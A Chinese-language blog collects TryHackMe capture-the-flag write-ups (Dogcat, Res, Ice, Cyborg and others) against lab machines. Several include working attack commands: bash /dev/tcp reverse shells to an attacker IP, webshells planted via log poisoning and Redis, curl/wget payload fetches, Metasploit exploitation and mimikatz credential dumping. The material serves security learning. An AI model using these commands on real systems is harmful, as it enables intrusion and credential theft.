Blaster (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blaster IP: 10.10.188.122 先寫在前面,這一題初學者不建議打,官方的影片跟 Writeup 都不完全適用,可能是作者重新 Deploy 過題目或是做過一些升級,所以整題難度高了非常多 QQ Recon 老梗 nmap -A 10.10.188.122 發現有開兩個 port80 3389How many ports are open on our target system?- 2Looks like there’s a web server running, what is the title of the page we discover when browsing to it?- nmap 就告訴我們ㄌ IIS Windows ServerInteresting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?- 預設的 dirsearch 找不到東西這邊我用了 dirb 的 big Wordlist- python3 dirsearch.py -u http://10.10.188.122 -e all -w /usr/share/dirb/wordlists/big.txt 掃到ㄌ http://10.10.188.122/retro/透過 Wappalyzer 可以觀察到- 他是一個 WordpressNavigate to our discovered hidden directory, what potential username do we discover?- Po 文者都是 WadeCrawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?- 發現一篇文章Ready Player One I can’t believe the movie based on my favorite book of all time is going to come out in a few days! Maybe it’s because my name is so similar to the main character, but I honestly feel a deep connection to the main character Wade. I keep mistyping the name of his avatar whenever I log in but I think I’ll eventually get it down. Either way, I’m really excited to see this movie! 他說他最喜歡的書是 Ready Player One (一級玩家) 他的名字跟主角很像,主角是 Wade Owen Watts 然後他說他常常在登入時打錯他的 avatar抱歉我英文不好,查了之後才知道avatar : (網路遊戲或網路聊天室中的)虛擬化身 所以應該是電影裡面的角色名稱在這邊查詢 https://hero.fandom.com/wiki/Parzival_(Ready_Player_One)- 可以找到 Wade Owen Watts, under the virtual name Parzival所以他的密碼是 parzival- 大小寫都 try 了一次,發現是全小寫 RDP 透過 RDP 登入遠端系統xfreerdp +drives /u:Wade /v:10.10.151.248:3389 使用密碼 parzival 即可順利登入取得 user flag- THM{HACK_PLAYER_ONE} 開始工具列搜尋 system infomation- 可以看到作業系統的版本等資訊嘗試使用 winPEAS 來搜可以提權的點- powershell wget http://10.13.21.55:8000/winPEAS.bat -outfile winPEAS.bat 有 Defender 把我吃掉ㄌ QQQQ這邊依照官方的Writeup 以及教學,理論上可以在 IE 的瀏覽紀錄上找到一些蛛絲馬跡- 但我這邊看到基本上是空的QQQQ 好吧,那就當作這題是困難版的,繼續嘗試 可疑的檔案 在桌面上找到 hhupd.exe直接丟去 Google 就會看到- CVE-2019-1388 提權When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?- 完成正規解可以在瀏覽器蛛絲馬跡上找到的答案QQ CVE-2019-1388Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?- 桌面上的檔案 hhupd透過觀察網路上的資源- https://github.com/jas502n/CVE-2019-1388 可以發現 CVE-2019-1388 是一個很酷ㄉ洞,基本實作細節如下1. 對著 hhupd 點兩下 跳出 UAC 後,選 show more details- 選擇 Show infomation about the publisher's certificate- 點選 Issued by: 後面的超連結- 這個時候畫面還是顯示憑證資訊,我們可以按 OK 先關掉 再按 No 關閉 UAC 這個時候出現的 IE,而這個IE就是以 system 權限跑起來的- 我們可以按下 ctrl + s 把網頁存檔,目的主要是為了叫出存檔的框框 這個時候會跳出一個錯誤,不重要,直接按下 OK- 在上方路徑處輸入 cmd 或 C:\Windows\System32\cmd.exe 並按下 Enter- 會跳出一個 cmd 框框,而且是用 system 權限執行起來的- 提權完成Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?- nt authority\system接下來就可以到 admin 資料夾的桌面領 root flag ㄌ- Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!- THM{COIN_OPERATED_EXPLOITATION} ...

2021-08-04 · 4 分鐘 · steven

Dogcat (Try Hack Me Writeup)

URL : https://tryhackme.com/room/dogcat IP: 10.10.221.153 第一次打 Medium 的題目 Recon 先用老梗 nmap -A 10.10.221.153發現只有開 80 跟 22dirsearch- 發現基本上都沒有東西 QQ 瀏覽器亂逛 http://10.10.221.153/ 會發現可以選狗勾或貓貓選貓貓會出現 網址是 http://10.10.221.153/?view=cat選狗勾- 網址是 http://10.10.221.153/?view=dog 不要問我為什麼不幫狗勾截圖嘗試 LFI- 這邊可以套一個 php 的 LFI 老梗 PHP Wrapperhttp://10.10.221.153/?view=php://filter/convert.base64-encode/resource=cat 可以發現成功噴出了一堆 base64PGltZyBzcmM9ImNhdHMvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K 解碼後發現是 .jpg" /> 而同理解碼狗勾是 .jpg" />繞狗勾- 假設我們想要看 /etc/passwd``http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=/etc/passwd 他會說 Sorry, only dogs or cats are allowed.而如果我們輸入 /etc/passwddog- 他會回傳 Here you go! 但是噴一些錯誤 因為找不到檔案,所以錯誤很合理那我們嘗試亂寫奇怪的路徑看看- http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=./dog/../dog 會發現可以成功開啟狗勾嘗試觀察 index.php 內容 這邊只截錄重點 可以發現參數 ext 很重要我們可以透過給予 ext 空白繞過副檔名任意 LFI- http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../index.php http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/passwd http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/apache2/apache2.conf http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../var/log/apache2/access.log可以發現 access.log 可讀 可以透過 access.log 來做到 LFI 2 RCELFI 2 RCE- 如果在瀏覽器輸入這個10.10.221.153?A=在 log 上會變成這樣- /?A=%3C?php%20phpinfo();%20?%3C/php%3E 主要是因為 HTTP 會做到 URL Encode所以可以用 nc- nc 10.10.221.153 80 GET /MEOW? 成功!寫入 webshell- nc 10.10.221.153 80 GET /MEOW? http://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=curl%20-o%20/tmp/s%20http://10.13.21.55:8000/s載入 reverse shell 在這邊發現這台電腦沒有 wget,所以用 curlhttp://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=bash%20/tmp/s- 執行 reverse shell 本地 nc -vlk 7877 就可以順利接到 Shell ㄌ! Shell 在/var/www/flag.php可以找到 flag1 在 /var/www/flag.php- 可以找到 flag2 嘗試提權- 輸入 sudo -l 可以發現我們可以用 root 來 run /usr/bin/env 這邊有兩種用法/usr/bin/env ls /root就可以用 roo 來 ls /root也可以參考 gtfobins- 有 suid 的 env env /usr/bin/sh -p取得 root flag (flag3)- THM{D1ff3r3nt_3nv1ronments_874112} Docker 提權 不管了,先老梗的 linpeas 下去curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh /usr/bin/env /tmp/linpeas.sh 可以發現根目錄有 /.dockerenv 確定目前我們在docker中發現備份檔案- 發現有 backup.tar 跟 backup.sh 試著把檔案複製到 /var/www/html 來準備下載下載並觀察備份檔案- wget http://10.10.221.153/backup.tar tar xf backup.tar觀察 Docker File- 發現沒什麼特別 但也發現為什麼 access log 一直有噴一個 127.0.0.1 的 curl觀察 launch.sh- 發現重點!! 他把 /opt/backup 掛載到本地的/root/container/backup所以我在 /opt/backup 寫資料會跑到本地端那問題就只剩下,我們怎麼讓本地執行觀察 backup.sh- 發現裡面就 tar cf /root/container/backup/backup.tar /root/container 但……本地端是怎麼執行的ㄋ?? 突然發現上面的 backup.tar 就剛好是當前時間!所以可以推測說在遠端有一個 cron job寫入 backup.sh- 戳一個 reverse shellecho "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> backup.sh 本地端開 nc -vlk 7878- 拿到本地 root shell! (flag4)- THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

2021-08-02 · 2 分鐘 · steven

Res (Try Hack Me Writeup)

URL : https://tryhackme.com/room/res IP : 10.10.149.195 Recon 先來老梗的 nmap -A 10.10.149.195``Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 01:29 EDT Nmap scan report for 10.10.149.195 Host is up (0.29s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works ![](https://i.imgur.com/3PG5lnw.png)``python3 dirsearch.py -u http://10.10.149.195/ -e all- 發現完全沒東西Scan the machine, how many ports are open?- 理論上要掃全部的 port nmap -p- 10.10.149.195雖然很有效果,但很浪費時間 QQ 掃ㄌ將近 20 分鐘QQ因為喵到下面說 port 是 ****- 所以我猜測是 1000~9999 nmap -p 1000-9999 10.10.149.195 答案 6379~其實這題題目跟 logo 就很明顯ㄌ~~Scan the machine, how many ports are open?- 2 個 port 80 與 6379What’s is the database management system installed on the server?- 6379 是 redisWhat port is the database management system running on?- 6379What’s is the version of management system installed on the server?- nmap -p6379 -A 10.10.149.195 可以看到是 6.0.7 嘗試 Google 過,找不到這個版本的 Exploit 找不到 exploit 寫入 shell 使用 redis cli 連上redis-cli -h 10.10.149.195進行連線config set dir "/var/www/html"``config set dbfilename meow.php``set x "\r\n\r\n\r\n\r\n"``save成功寫入 phpinfo寫入 web shell- config set dbfilename shell.php set x "\r\n\r\n\r\n\r\n" save 成功寫入 webshell 且可以使用 ls上傳 reverse shell- 本地端準備bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1' 存在 s 檔案中 並使用 python3 -m http.server 開啟網頁伺服器http://10.10.149.195/shell.php?A=wget 10.13.21.55:8000/s -O /tmp/s- 把檔案存下來http://10.10.149.195/shell.php?A=cat%20/tmp/s- 確認寫入正常執行 reverse shell- 本地端準備 nc -vlk 7877 訪問 http://10.10.149.195/shell.php?A=bash%20/tmp/s 成功接上 reverse shell本地亂逛- python -c 'import pty; pty.spawn("/bin/bash")'互動式 bash尋找 user flag- 檔案在 /home/vianka/user.txt thm{red1s_rce_w1thout_credent1als} 提權 Linpeaswget 10.13.21.55:8000/linpeas.sh下載 linpeasbash linpeas.sh | tee out.txt- 執行發現有標顏色的 suid- xxdsuid xxd 提權- gtfobins 找到 suid xxd 讀檔https://gtfobins.github.io/gtfobins/xxd/#suid要破解密碼的話可以破 /etc/shadow 的 hash- LFILE=/etc/shadow xxd "$LFILE" | xxd -r可以順利回傳 /etc/shadow- vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::爆破密碼- 複製 vianka 的 hash 到本地端 呼叫約翰john j.txt --wordlist=/opt/rockyou.txt 成功破解密碼為 beautiful1切換使用者- su vianka切換使用者,並切換密碼為 beautiful1確認權限- 輸入 sudo -l 發現使用者可以用 sudo使用 sudo su 切換到 root成功取得 root flag-

2021-08-01 · 2 分鐘 · steven

Ice (Try Hack Me Writeup)

URL: https://tryhackme.com/room/ice Recon 題目建議使用 SYN Scanhttps://nmap.org/book/synscan.html 可以發現指令是 -sS sudo nmap -sS 10.10.209.59需要 root 權限 所以 sudo └─$ sudo nmap -sS 10.10.209.59 [sudo] password for kali: Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 08:58 EDT Nmap scan report for 10.10.209.59 Host is up (0.27s latency). Not shown: 988 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 5357/tcp open wsdapi 8000/tcp open http-alt 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49158/tcp open unknown 49159/tcp open unknown 49160/tcp open unknown 不管,還是run一次習慣的 -A 看看 sudo nmap -A 10.10.209.59 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 09:00 EDT Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute Traceroute Timing: About 32.26% done; ETC: 09:02 (0:00:00 remaining) Nmap scan report for 10.10.209.59 Host is up (0.28s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open tcpwrapped | ssl-cert: Subject: commonName=Dark-PC | Not valid before: 2021-07-30T12:49:58 |_Not valid after: 2022-01-29T12:49:58 |_ssl-date: 2021-07-31T13:02:27+00:00; 0s from scanner time. 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 8000/tcp open http Icecast streaming media server |_http-title: Site doesn't have a title (text/html). 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49159/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=7/31%OT=135%CT=1%CU=30419%PV=Y%DS=4%DC=T%G=Y%TM=610549 OS:E3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS OS:=7)OPS(O1=M506NW8ST11%O2=M506NW8ST11%O3=M506NW8NNT11%O4=M506NW8ST11%O5=M OS:506NW8ST11%O6=M506ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20 OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M506NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0 OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1 OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI OS:=N%T=80%CD=Z) Network Distance: 4 hops Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h15m00s, deviation: 2h30m00s, median: 0s |_nbstat: NetBIOS name: DARK-PC, NetBIOS user: , NetBIOS MAC: 02:bd:72:1c:16:7b (unknown) | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: Dark-PC | NetBIOS computer name: DARK-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-07-31T08:02:13-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-07-31T13:02:13 |_ start_date: 2021-07-31T12:49:56 TRACEROUTE (using port 110/tcp) HOP RTT ADDRESS 1 139.52 ms 10.13.0.1 2 ... 3 4 283.86 ms 10.10.209.59 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 104.04 seconds Once the scan completes, we’ll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?一堆字,題目不會講重點ㄇ…他問 RDP 是什麼 Port 3389What service did nmap identify as running on port 8000? (First word of this service)- 用 -A 的 nmap 可以看出 他是 IcecastWhat does Nmap identify as the hostname of the machine? (All caps for the answer)- 一樣是 -A 的 nmap 有寫到 Host: DARK-PC Gain Access Now that we’ve identified some interesting services running on our target machine, let’s do a little bit of research into one of the weirder services identified: Icecast. Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5 (7.4 depending on where you view it). What type of vulnerability is it? Use https://www.cvedetails.com for this question and the next.我們知道他是 Icecast 就可以找到他的弱點 不過我是直接 Google Icecast RCE我覺得 cvedetails 的搜尋很難用https://www.cvedetails.com/cve/CVE-2004-1561/題目問說 Type- 所以是 Execute Code OverflowWhat is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000- CVE-2004-156After Metasploit has started, let’s search for our target exploit using the command ‘search icecast’. What is the full path (starting with exploit) for the exploitation module? This module is also referenced in ‘RP: Metasploit’ which is recommended to be completed prior to this room, although not entirely necessary.- 開啟 msfmsfconsole輸入 search icecast 尋找 icecast 相關攻擊 module- 可以找到 module 為- exploit/windows/http/icecast_header準備 Exploit- 輸入 use 0 或 use exploit/windows/http/icecast_header 輸入 show options 可以看到我們需要輸入的參數RHOSTS LHOSTset RHOSTS 10.10.209.59``set LHOSTS 10.13.21.55輸入 exploit Escalate Woohoo! We’ve gained a foothold into our victim machine! What’s the name of the shell we have now? 他自動彈回了一個 meterpreter 的 shellWhat user was running that Icecast process? The commands used in this question and the next few are taken directly from the ‘RP: Metasploit’ room.- 輸入 ps 可以看到所有的 process 而如上圖,Icecast2.exe 使用者為 DARKWhat build of Windows is the system?- 偵察系統版本有助於後續的工作 可以輸入 sysinfo 觀察 7601Now that we know some of the finer details of the system we are working with, let’s start escalating our privileges. First, what is the architecture of the process we’re running?- 如上的 sysinfo ,可以看到架構是 x64Now that we know the architecture of the process, let’s perform some further recon. While this doesn’t work the best on x64 machines, let’s now run the following command run post/multi/recon/local_exploit_suggester. This can appear to hang as it tests exploits and might take several minutes to complete- 接下來我們要使用 meterpreter 的自動 exploit 推薦器來做自動化測試 run post/multi/recon/local_exploit_suggester Running the local exploit suggester will return quite a few results for potential escalation exploits. What is the full path (starting with exploit/) for the first returned exploit?- 第一個回傳的是 exploit/windows/local/bypassuac_eventvwr按下鍵盤 ctrl + z 先把 meterpreter session 丟去背景- 準備來下 explit 指令 輸入 use exploit/windows/local/bypassuac_eventvwr輸入 show options- 確認目前的 session ID- ID 為 1設定相關參數- set session 1 set LHOSTS 10.13.21.55輸入 run 開始執行- We can now verify that we have expanded permissions using the command getprivs. What permission listed allows us to take ownership of files?- 輸入 getprivs 可以看到我們的權限 他說要可以 take ownership of files 所以是 SeTakeOwnershipPrivilege Looting Mentioned within this question is the term ’living in’ a process. Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.他說要找印表機相關的程式 先下 ps 觀察 processes透過 Google 可以發現是 spoolsv.exe- 他的 pid 是 1300輸入 getuid 觀察目前我們是什麼使用者- 輸入 migrate 1300- 把自己的 process 搬移到 pid 1300 上面 Let’s check what user we are now with the command getuid. What user is listed?- 再輸入一次 getuid 會發現我們變成 NT AUTHORITY\SYSTEM 權限!輸入 load kiwi 載入 mimikatz- 輸入 help 觀察 mimikatz 使用方法- Which command allows up to retrieve all credentials?- creds_all Run this command now. What is Dark’s password? Mimikatz allows us to steal this password out of memory even without the user ‘Dark’ logged in as there is a scheduled task that runs the Icecast as the user ‘Dark’. It also helps that Windows Defender isn’t running on the box ;) (Take a look again at the ps list, this box isn’t in the best shape with both the firewall and defender disabled)- 上面就有寫到 Dark 的密碼為 Password01! Post-Exploitation What command allows us to dump all of the password hashes stored on the system? We won’t crack the Administrative password in this case as it’s pretty strong (this is intentional to avoid password spraying attempts)輸入 hashdump 可以 dump 出所有的密碼 hash 其實我們在這邊也可以複製 Dark 的 hash 然後用 John 爆爆看john hash.txt --wordlist=/opt/rockyou.txt --format=NT 可以發現也是可以快速爆出密碼While more useful when interacting with a machine being used, what command allows us to watch the remote user’s desktop in real time?- 這題剛開始我以為是說螢幕截圖 screenshot 輸入完之後會自動的存一張即時的圖檔 不過後來發現他要是 real time,所以答案是 screenshare- 他會開一個 html 然後自動刷新、可以即時監看 How about if we wanted to record from a microphone attached to the system?- 監聽麥克風可以使用 record_micTo complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don’t ever do this on a pentest unless you’re explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.- 竄改 timestamp 可以用 timestompMimikatz allows us to create what’s called a golden ticket, allowing us to authenticate anywhere with ease. What command allows us to do this?- golden_ticket_create可以透過 run post/windows/manage/enable_rdp 開啟RDP

2021-07-31 · 7 分鐘 · steven

AgentSudo (Try Hack Me Writeup)

URL: https://tryhackme.com/room/agentsudoctf IP : 10.10.119.64 Recon 老梗 nmap -A 10.10.119.64 發現有開FTP SSH HTTP嘗試進入 HTTP- 看到他說需要在 useragent 放 Codename (機密代號) 又說 Dear agent, 下面有說 Agent R 所以基本上可以先猜測 Agent A 到 Z 爆猜機密代號 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉 curl 對著 F12 的 Reuest 右鍵,Copy as cURL curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'curl 轉 Python request- 我使用這個網站 https://curl.trillworks.com/把 curl 貼上就可以自動轉 python 的 request 了接下來寫一段扣爆破因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218 運氣很好,C 就猜到ㄌ import requests for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ": headers = { 'User-Agent': i , 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0, no-cache', 'Pragma': 'no-cache', } response = requests.get('http://10.10.119.64/', headers=headers).text print(i,len(response)) 用 User-Agent:C 發 request在 Firefox 上使用右鍵, Edit and Resend- 修改 User-Agent 為 C 並送出可以發現他自動跳轉到這個網頁- http://10.10.119.64/agent_C_attention.php 內文中發現了 Agent C 叫做 chris 而且他的主管在嘴他說使用弱密碼 FTP 嘗試爆破 FTP因為 nmap 有掃到 ssh 跟 ftp,隨便取 ftp 透過 Hydra + Rockyou 字典來爆hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64可以了解到帳號為 chris密碼為 crystal嘗試登入 FTP- ftp 10.10.119.64 輸入 ls 觀察 ftp 裡面的檔案輸入 get 檔名 把檔案依序載下來觀察 txt 檔案- cat To_agentJ.txt 他說兩張照片都是假ㄉ,裡面有藏東東 Stego 起手式 stringsstrings cutie.png 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ透過 binwalk 觀察是否裡面有藏檔案- 發現 png 後面塞了一個 zip透過 foremost 解出裡面的檔案- foremost cutie.png 會發現資料夾裡面有一包 zip 解壓縮 zip- 用最直覺的 unzip 會發現噴錯 跟據這篇的講法,可以用 7z 來解7z x 00000067.zip- 用 7z 解,會發現 zip 需要密碼爆破 zip 密碼- 先把 zip 轉成 約翰格式 zip2john 00000067.zip > j.txt john j.txt --wordlist=/opt/rockyou.txt 就可以取得密碼為 alien 解壓縮 zip- 7z x 00000067.zip 並使用密碼 alien 即可解壓完畢 解壓內容可以看到一組奇怪的密碼 QXJlYTUx 透過 base64 解碼base64 -d 即可獲得 Area51接下來看到另外一個檔案- cute-alien.jpg` 這邊使用 steghide 進行解密 steghide extract -sf cute-alien.jpg並搭配 Area51- 發現成功的解出了 message.txt 我們可以發現文章內- 使用者 : james 密碼 : hackerrules! SSH 透過 SSH 進行登入ssh james@10.10.119.64 尋找到 user_flag.txt- b03d975e8c92a7c04146cfa7a5a313c7 提權 輸入 sudo -l 所以我們不能以 root 身分執行/bin/bashWhat is the incident of the photo called?- 裡面還找到了一張照片 透過 Google 以圖搜圖可以找到這篇新聞 Roswell alien autopsy繼續提權- 透過 scp 上傳 Linpeas本機scp linpeas.sh james@10.10.119.64:/tmp 遠端- bash linpeas.sh | tee meow.txt可以觀察到 Linpeas 把 sudo 版本變紅色- 透過Google Sudo 1.8.21p2可以找到 CVE-2019-14287 https://www.exploit-db.com/exploits/47502遠端機器剛好有 python 跟 vim- 那就直接開 vim 把 exploit 給貼上 把 python exploit code 給 run 起來- 詢問使用者名稱,就輸入 james 成功提權!取得 root flag- b53a02f55b57d4439e3341834d70c062(Bonus) Who is Agent R?- 信最後 有寫 DesKel aka Agent R 阿不是阿,你名字裡哪裡有 R ㄌ ?__?

2021-07-31 · 2 分鐘 · steven

Cyborg (Try Hack Me Writeup)

URL : https://tryhackme.com/room/cyborgt8 IP : 10.10.210.57 Recon 老梗 nmap -A 10.10.210.5Scan the machine, how many ports are open?- 2What service is running on port 22?- SSHWhat service is running on port 80?- HTTP``python3 dirsearch.py -u http://10.10.210.57/ -e all- /admin/ /etc/ 解密 先從 /etc/ 路徑開始看裡面有啥http://10.10.210.57/etc 找到路徑底下有一個 passwd- http://10.10.210.57/etc/squid/passwdmusic_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn. 看起來是 hash 格式,直接複製出來給約翰 john a.txt --wordlist=/opt/rockyou 帳號 : music_archive 密碼 : squidward 尋寶 去逛 /admin/發現有 Archive 可以下載 解開之後發現是一種奇怪格式- 檔案都是 binary 無法 print Readme 提醒我們可以去看 https://borgbackup.readthedocs.io/ borg 是一種備份程式嘗試簡單的看完說明後- borg list .輸入密碼,剛剛約翰破出來的 squidward 可以看到一些資訊borg mount . ../a- 把檔案掛載起來 發現掛載的檔案裡面有 note- alex:S3cretP@s3 看起來就很像帳密 進入系統 用 ssh 搭配帳密登入 取得 user flag flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}嘗試提權- 先用 sudo -l 看我們有什麼權限 發現我們可以用 sudo 執行 /etc/mp3backups/backup.sh觀察權限- 發現我們是這個檔案的擁有者,但我們不能修改他 不過可以透過 chmod +w 新增 Write 權限插入 shell- echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'" >> /etc/mp3backups/backup.sh 直接用 reverse shell 插入檔案最下方執行 shell- 攻擊機開啟監聽nc -vlk 7877被駭機用 sudo 執行該檔案- sudo /etc/mp3backups/backup.sh拿到 root shell!- 貓根旗幟- flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}

2021-07-29 · 1 分鐘 · steven

Blueprint (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blueprint IP : 10.10.66.7 Scan 一樣老梗 nmap -A 10.10.66.7 發現開了很多 port 80 port 進去是 404先放一邊 └─$ nmap -A 10.10.66.7 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 03:57 EDT Nmap scan report for 10.10.66.7 Host is up (0.32s latency). Not shown: 984 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: 404 - File or directory not found. 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28) |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28 |_http-title: Bad request! | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 1165/tcp filtered qsm-gui 1971/tcp filtered netop-school 3306/tcp open mysql MariaDB (unauthorized) 5190/tcp filtered aol 8080/tcp open http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28 |_http-title: Index of / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49159/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -20m00s, deviation: 34m36s, median: -1s |_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: , NetBIOS MAC: 02:24:bb:82:08:6f (unknown) | smb-os-discovery: | OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1 | Computer name: BLUEPRINT | NetBIOS computer name: BLUEPRINT\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-07-29T08:58:58+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-07-29T07:58:57 |_ start_date: 2021-07-29T07:49:40 